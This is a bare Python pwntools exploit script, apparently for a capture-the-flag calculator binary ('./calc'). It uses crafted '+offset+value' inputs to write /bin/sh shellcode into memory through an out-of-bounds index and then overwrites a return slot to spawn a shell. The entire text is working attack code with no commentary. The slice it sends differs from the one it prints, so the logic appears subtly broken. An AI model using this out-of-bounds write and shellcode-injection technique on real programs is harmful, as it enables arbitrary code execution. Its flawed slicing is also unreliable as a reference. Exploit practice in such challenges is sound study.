#!/usr/bin/env python3 from pwn import * context.binary = './calc' shellcode = asm(shellcraft.sh()) pid = process("./calc") print(shellcode.hex()) print(context) shellen = len(shellcode) for exec_num,offset in enumerate(reversed(range(361, int(len(shellcode) / 4) + 361))): pid.sendline("+{}+{}".format(offset, int.from_bytes(shellcode[((exec_num + 1) * 1):(exec_num * 4)], 'big'))) print("+{}+{}".format(offset, int.from_bytes(shellcode[shellen - ((exec_num + 1) * 4):shellen - (exec_num * 4)], 'big'))) pid.sendline("+360+135151459") print("+360+135151459") #pid.interactive() print(pid.recv())